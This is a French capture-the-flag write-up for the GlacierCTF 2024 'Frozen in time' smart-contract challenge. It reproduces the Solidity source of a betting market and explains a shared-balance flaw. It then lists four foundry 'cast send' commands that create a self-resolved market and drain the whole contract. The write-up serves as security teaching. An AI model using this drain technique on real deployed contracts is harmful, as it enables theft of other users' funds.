Skip to content

GlacierCTF 2024 - Frozen in time


Description

Write Up: Tyron
Créateur: J4X
Difficulté: easy - medium
Points: 470
Format du flag: gctf{flag}

Enoncé

  • Français: Frozymarket est le premier marché de prédiction dans l'Arctique. Pariez sur votre équipe de hockey préférée ou faites preuve de créativité en créant votre propre marché. Les possibilités sont infinies.
  • English: Frozymarket is the first prediction market in the arctic. Bet on your favorite hockey team, or get creative creating your own market. The possibilities are endless.

Pièce(s) jointe(s):


Solution détaillée

Dans ce challenge, on peut créer des predictions et parier sur le fait qu'elle se réalisera ou non en définissant une date d'échéance. Une chose marrante est que on peut aussi définir le résultat de la prédiction.

Pour le challenge j'ai fait pas mal de test en local sur remix pour mieux me représenter les choses.

Lecture du code source

On a 2 fichiers en solidity à disposition : Setup.sol et Challenge.sol, ce sont ces fichiers qui vont nous intéresser.

Setup.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Challenge.sol";

contract Setup {
    Frozymarket public immutable TARGET; // Contract the player will hack

    constructor() payable {
        require(msg.value == 100 ether);

        // Deploy the contract
        TARGET = new Frozymarket();

        //Create market on the contract
        TARGET.createMarket("Will the price of ETH be higher than $2000 on 1st January 2022?", 1640995200);

        // Users place bets on the contract
        TARGET.bet{value: 10 ether}(0, true);
        TARGET.bet{value: 10 ether}(0, false);
    }

    // Our challenge in the CTF framework will call this function to
    // check whether the player has solved the challenge or not.
    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

Pour résumer :

  • On importe le contenu de Challenge.sol qui contient le code du contrat Frozymarket
  • On crée un contrat TARGET qui est une instance du contrat frozymarket : TARGET = new Frozymarket();
  • On crée une prédiction qui s'arretera au timestamp 1640995200 : TARGET.createMarket("Will the price of ETH be higher than $2000 on 1st January 2022?", 1640995200);
  • On parie sur 10 ether sur true et 10 ether sur false

Ainsi, grace à ces deux paris déja fait, 20 ether sont envoyés sur le contrat TARGET dès la création du contrat.

Challenge.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

/**
* @title BettingMarket
* @dev This struct represents a betting market with details about the market owner, name, resolution time, and betting outcomes.
* @param owner The address of the owner who created the betting market.
* @param name The name of the betting market.
* @param resolvesBy The timestamp by which the market will be resolved.
* @param resolved A boolean indicating whether the market has been resolved.
* @param winner A boolean indicating the outcome of the market (true for outcome A, false for outcome B).
* @param totalBetsA The total amount of bets placed on outcome A.
* @param totalBetsB The total amount of bets placed on outcome B.
*/
struct BettingMarket
{
    address owner;
    string name;
    uint256 resolvesBy;
    bool resolved;
    bool winner;

    uint256 totalBetsA;
    uint256 totalBetsB;
}


// ------------------------------ Frozy Market ------------------------------
//
// The very first ice cold betting market on the blockchain.
// Bet on the outcome of a market and win big if you are right.

contract Frozymarket
{
    address owner;
    mapping(uint marketindex => mapping(address user => mapping(bool AorB => uint256 amount))) bets;
    BettingMarket[] public markets;

    uint256 constant BPS = 10_000;

    /**
    * @dev Initializes the contract setting the deployer as the initial owner.
    */
    constructor()
    {
        owner = msg.sender;
    }

    /**
    * @dev Modifier to make a function callable only by the owner.
    * Reverts with a custom error message if the caller is not the owner.
    */
    modifier onlyOwner()
    {
        require(msg.sender == owner, "Only owner can call this function");
        _;
    }

    /**
    * @notice Creates a new market with the specified name and resolution time.
    * @param name The name of the market to be created.
    * @param resolvesBy The timestamp by which the market should resolve.
    * @return The unique identifier of the newly created market.
    */
    function createMarket(string memory name, uint256 resolvesBy) public returns (uint256)
    {
        BettingMarket memory newMarket = BettingMarket(msg.sender, name, resolvesBy, false, false, 0, 0);
        markets.push(newMarket);
        return markets.length - 1;
    }


    /**
    * @notice Places a bet on a specified market with a chosen outcome.
    * @dev This function allows users to place bets on a market's outcome.
    *      The market must be active and not resolved.
    * @param marketIndex The index of the market to bet on.
    * @param outcome The chosen outcome to bet on (true or false).
    */
    function bet(uint256 marketIndex, bool outcome) public payable
    {
        require(marketIndex < markets.length, "Invalid market index");
        require(!markets[marketIndex].resolved, "Market has already resolved");

        if (outcome)
        {
            markets[marketIndex].totalBetsA += msg.value;
            bets[marketIndex][msg.sender][true] += msg.value;
        }
        else
        {
            markets[marketIndex].totalBetsB += msg.value;
            bets[marketIndex][msg.sender][false] += msg.value;
        }
    }

    /**
    * @notice Resolves a market by setting its resolved status and winner.
    * @param marketIndex The index of the market to resolve.
    * @param winner The outcome of the market (true or false).
    * @dev The market can only be resolved by its owner and after the resolve time has passed.
    * @dev Emits no events.
    * @dev Reverts if the market index is invalid, the market is already resolved, or the caller is not the market owner.
    */
    function resolveMarket(uint256 marketIndex, bool winner) public
    {
        require(marketIndex < markets.length, "Invalid market index");
        require(markets[marketIndex].resolvesBy < block.timestamp, "Market can not be resolved yet");
        require(!markets[marketIndex].resolved, "Market has already resolved");
        require(msg.sender == markets[marketIndex].owner, "Only the market owner can resolve the market");

        markets[marketIndex].resolved = true;
        markets[marketIndex].winner = winner;
    }

    /**
    * @notice Allows users to claim their winnings from a resolved market.
    * @param marketIndex The index of the market from which to claim winnings..


    * @dev The function checks if the market index is valid and if the market has been resolved.
    *      Depending on the outcome of the market, it calculates the user's share of the pot and transfers the winnings.
    *      The function follows the Checks-Effects-Interactions (CEI) pattern to prevent reentrancy attacks.
    *      If the user bet on the winning outcome, their bet amount is reset to zero before transferring the winnings.
    */
    function claimWinnings(uint256 marketIndex) public
    {
        require(marketIndex < markets.length, "Invalid market index");
        require(markets[marketIndex].resolved, "Market has not resolved yet");

        uint bpsOfPot;

        if (markets[marketIndex].winner)
        {
            require(bets[marketIndex][msg.sender][true] > 0, "You did not bet on the winning outcome");

            //Calc user share, in BPS for less rounding errors
            bpsOfPot = BPS * bets[marketIndex][msg.sender][true] / markets[marketIndex].totalBetsA;

            //Reset bet, we follow CEI pattern
            bets[marketIndex][msg.sender][true] = 0;
        }
        else
        {
            require(bets[marketIndex][msg.sender][false] > 0, "You did not bet on the winning outcome");

            //Calc user share, in BPS for less rounding errors
            bpsOfPot = BPS * bets[marketIndex][msg.sender][false] / markets[marketIndex].totalBetsB;

            //Reset bet, we follow CEI pattern
            bets[marketIndex][msg.sender][false] = 0;
        }

        uint256 payout = address(this).balance * bpsOfPot / BPS;

        //Transfer win to user
        (msg.sender).call{value: payout}("");
    }
}

Le contrat est assez long, et pour ne pas se perdre il y a deux astuces :

  • Lire les commentaires du code
  • Partir des fonctions appelés dans le contrat Setup.sol (à savoir createMarket) et remonter la piste

En lisant les commentaires, on apprend que

  • Une prédiction a un propriétaire, un nom, une date de fin et la quantité des paris placés. Un marché ou prédiction sera une instance de la struct suivante :

    struct BettingMarket
    {
        address owner;
        string name;
        uint256 resolvesBy;
        bool resolved;
        bool winner;

        uint256 totalBetsA;
        uint256 totalBetsB;
    }


En lisant la function createMarket(string memory name, uint256 resolvesBy), on peut comprendre comment une prédiction est créee :

function createMarket(string memory name, uint256 resolvesBy) public returns (uint256)
{
    BettingMarket memory newMarket = BettingMarket(msg.sender, name, resolvesBy, false, false, 0, 0);
    markets.push(newMarket);
    return markets.length - 1;
}
C'est une fonction publique, donc n'importe qui peut crée une prédiction.

On soumet un nom et une date fin et une prédiction est crée en mettant le créateur en propriétaire et définissant la variable winner à false très suspect), ce qui signifie qu'une prediction aura toujours un resultat false.

Le market sera ajouté à la fin de d'une liste repertoriant les prédictions markets.

On peut désormais s'intéresser à la fonction de fin d'un pari resolveMarket(uint256 marketIndex, bool winner):

function resolveMarket(uint256 marketIndex, bool winner) public
{
    require(marketIndex < markets.length, "Invalid market index");
    require(markets[marketIndex].resolvesBy < block.timestamp, "Market can not be resolved yet");
    require(!markets[marketIndex].resolved, "Market has already resolved");
    require(msg.sender == markets[marketIndex].owner, "Only the market owner can resolve the market");

    markets[marketIndex].resolved = true;
    markets[marketIndex].winner = winner;
}
  • On note le deuxième require, si la date de fin est dépassée, on peut clore une prédiction, et donc logiquement récupérer ses gains.
  • Et le quatrième require indique que seul le proprio peut clore une prédiction.
  • On soumet l'indice de la prédiction et son résultat, donc le propriétaire peut clairement controller l'issue d'une prédiction.


Pour la fonciton bet en gros on soumet l'indice de la prédiction en paramètre, le resultat choisi et ajoute à la transaction des ethers. Ces ethers seront ajoutés sur la balance du contrat mais également dans une sorte de mapping de cette forme : marketIndex => address => true/false

Ainsi chaque parieur a un solde sur le ou les résultats d'une prédiction qu'il a choisi.

Enfin, une dernière fonction claimWinnings(uint256 marketIndex) :

function claimWinnings(uint256 marketIndex) public
{
    require(marketIndex < markets.length, "Invalid market index");
    require(markets[marketIndex].resolved, "Market has not resolved yet");

    uint bpsOfPot;

    if (markets[marketIndex].winner)
    {
        require(bets[marketIndex][msg.sender][true] > 0, "You did not bet on the winning outcome");

        //Calc user share, in BPS for less rounding errors
        bpsOfPot = BPS * bets[marketIndex][msg.sender][true] / markets[marketIndex].totalBetsA;

        //Reset bet, we follow CEI pattern
        bets[marketIndex][msg.sender][true] = 0;
    }
    else
    {
        require(bets[marketIndex][msg.sender][false] > 0, "You did not bet on the winning outcome");

        //Calc user share, in BPS for less rounding errors
        bpsOfPot = BPS * bets[marketIndex][msg.sender][false] / markets[marketIndex].totalBetsB;

        //Reset bet, we follow CEI pattern
        bets[marketIndex][msg.sender][false] = 0;
    }

    uint256 payout = address(this).balance * bpsOfPot / BPS;

    //Transfer win to user
    (msg.sender).call{value: payout}("");
}

On passe un index de market en paramètre, et si ce dernier a bien été clos à travers la fonction resolveMarket, la fonction va vérifier si on a bien parié sur le bon résultat.

Ensuite un calcul sombre est effectué, par exemple si le résultat est true, en supposant que j'ai misé que 1 ether et suis le seul a parier (ce qui sera le cas):

\[ bpsOfPot = \frac{BPS * ownerTrueBets}{totalTrueBets} \\~\\ bpsOfPot = \frac{10000 * 1}{1} bpsOfPott = 10000 \]

Ensuite payout est calculé : $$ contractBalance * \frac{bpsOfPot}{BPS} = 20 * \frac{10000}{10000} = 20 $$

Puis payout me sera envoyé et le contrat est siphoné 💰💰💰

La vulnérabilité est que, toutes prédictions partagent le meme solde qui est le solde du contrat. Donc si une prédiction se termine, les gagnants ramassent tous les fonds du contrat.

Exploitation

Les étapes pour siphonner le contrat sont les suivantes :

  • Créer un prédiction avec un timestamp inférieur au timestamp du dernier bloc -> on va mettre .
  • Miser sur un résultat pour ma prédiction (true ou false) (peut importe le quel).
  • Clore la prédction avec le résultat voulu.
  • Réclamer les fonds.

Pour intéragir avec les contrats je vais utiliser foundry.

En contactant le serveur j'obtiens les informations concernant mon instance du challenge que je vais mettre dans un fichier .env et exécuter source .env pour les avoir en variable d'environnement (ca simplifie les commandes) :

UUID=b5cff013-a559-4bf9-be55-3257c9ddf0c3
RPC=http://78.47.52.31:14351/b5cff013-a559-4bf9-be55-3257c9ddf0c3
PKEY=0x5f2a05e906db016c4ca5049d3b0f4d056c3120dcc685c40405c8768966c17fe1
SETUP=0x61cEb37e8a88B70CDA411410a75ab12FdB4e5fE0
ADDRESS=$(cast wallet address ${PKEY})
TARGET="0x$(cast call $SETUP -r $RPC "TARGET()" | tail -c 41)"

Ensuite j'éxecute les étapes du plan.

  • Je crée une prédiction :
cast send $TARGET --private-key $PKEY -r $RPC "createMarket(string memory, uint256)" "jvais tout prendre" 0
  • Je parie sur true :
cast send $TARGET --private-key $PKEY -r $RPC "bet(uint256, bool)" 1, true --value 1ether
  • Je ferme les paris et défnissant true comme résultat :
cast send $TARGET --private-key $PKEY -r $RPC "resolveMarket(uint256, bool)" 1 true
  • Je récupère mes gains :
cast send $TARGET --private-key $PKEY -r $RPC "claimWinnings(uint256)" 1

FLAG: gctf{m0m_I_finally_m4d3_m0ney...


Retex

Ca ressemble beaucoup à polymarket dans le nom et le concept. Le challenge était facile mais sympa j'ai pu découvrir une nouvelle vulnérabilité.


Lien(s) utile(s)